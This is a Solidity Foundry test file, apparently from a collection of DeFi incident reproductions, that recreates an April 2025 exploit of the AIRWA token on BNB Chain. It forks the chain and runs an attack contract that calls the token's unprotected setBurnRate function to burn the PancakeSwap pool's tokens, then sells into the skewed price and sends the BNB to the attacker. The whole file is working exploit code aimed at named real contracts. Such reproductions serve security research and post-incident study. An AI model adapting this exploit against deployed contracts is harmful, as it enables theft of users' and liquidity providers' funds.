src/test/2025-04/AIRWA_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.0;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : ~ 56.73 BNB
8// Attacker : https://bscscan.com/address/0x70f0406e0a50c53304194b2668ec853d664a3d9c
9// Attack Contract : https://bscscan.com/address/0x2a011580f1b1533006967bd6dc63af7ae5c82363
10// Vulnerable Contract : https://bscscan.com/address/0x3af7da38c9f68df9549ce1980eef4ac6b635223a
11// Attack Tx : https://bscscan.com/tx/0x5cf050cba486ec48100d5e5ad716380660e8c984d80f73ba888415bb540851a4
12 
13// @Info
14// Vulnerable Contract Code :
15 
16// @Analysis
17// Post-mortem : N/A
18// Twitter Guy : https://x.com/TenArmorAlert/status/1908086092772900909
19// Hacking God : N/A
20 
21address constant AIRWA = 0x3Af7DA38C9F68dF9549Ce1980eEf4AC6B635223A;
22address constant wBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
23address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;
24address constant PANCAKE_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
25address constant CAKE_LP = 0xc3551400c032cB0556dee1AD1dC78D1cbC64B7bb;
26 
27contract AIRWA_exp is BaseTestWithBalanceLog {
28    address attacker = makeAddr("attacker");
29    uint256 blocknumToForkFrom = 48_050_724 - 1;
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", blocknumToForkFrom);
33        // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        // fundingToken = BSC_USD;
35 
36        vm.label(attacker, "Attacker");
37        vm.label(AIRWA, "AIRWA");
38        vm.label(wBNB, "WBNB");
39        vm.label(BSC_USD, "BSC-USD");
40        vm.label(PANCAKE_ROUTER, "PancakeSwap: Router v2");
41        vm.label(CAKE_LP, "0xc355_Cake-LP");
42 
43        vm.deal(attacker, 1 ether); // Give attacker some BNB
44    }
45 
46    function testExploit() public {
47        emit log_named_decimal_uint("BNB balance before attack", attacker.balance, 18);
48        vm.startPrank(attacker);
49        AttackContract attackContract = new AttackContract{value: 0.1 ether}();
50        attackContract.attack();
51        vm.stopPrank();
52        emit log_named_decimal_uint("BNB balance after attack", attacker.balance, 18);
53    }
54 
55    receive() external payable {}
56}
57 
58contract AttackContract {
59    address attacker;
60 
61    constructor() payable {
62        attacker = msg.sender;
63    }
64 
65    function attack() public {
66        address[] memory path = new address[](3);
67        path[0] = address(wBNB);
68        path[1] = address(BSC_USD);
69        path[2] = address(AIRWA);
70        IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactETHForTokensSupportingFeeOnTransferTokens{value: 0.1 ether}(
71            0, path, address(this), block.timestamp + 10
72        );
73 
74        uint256 balance = IAIRWA(AIRWA).balanceOf(address(this));
75        // console.log("Balance of AIRWA in attack contract:", balance);
76        IAIRWA(AIRWA).setBurnRate(980);
77        IAIRWA(AIRWA).transfer(CAKE_LP, 0);
78        IAIRWA(AIRWA).setBurnRate(0);
79        IAIRWA(AIRWA).approve(PANCAKE_ROUTER, type(uint256).max);
80 
81        path[0] = address(AIRWA);
82        path[1] = address(BSC_USD);
83        path[2] = address(wBNB);
84        IPancakeRouter(payable(PANCAKE_ROUTER)).swapExactTokensForETHSupportingFeeOnTransferTokens(
85            balance, 0, path, address(this), block.timestamp + 10
86        );
87    }
88 
89    receive() external payable {
90        console.log("Received BNB:", msg.value);
91        uint256 balance = address(this).balance;
92        // console.log("Current balance:", balance);
93        if (balance > 0) {
94            payable(attacker).transfer(balance); // Send all BNB back to the attacker
95        }
96    }
97}
98 
99interface IAIRWA {
100    function setBurnRate(uint256 _burnRate) external;
101    function transfer(address recipient, uint256 amount) external returns (bool);
102    function balanceOf(address account) external view returns (uint256);
103    function approve(address spender, uint256 amount) external returns (bool);
104}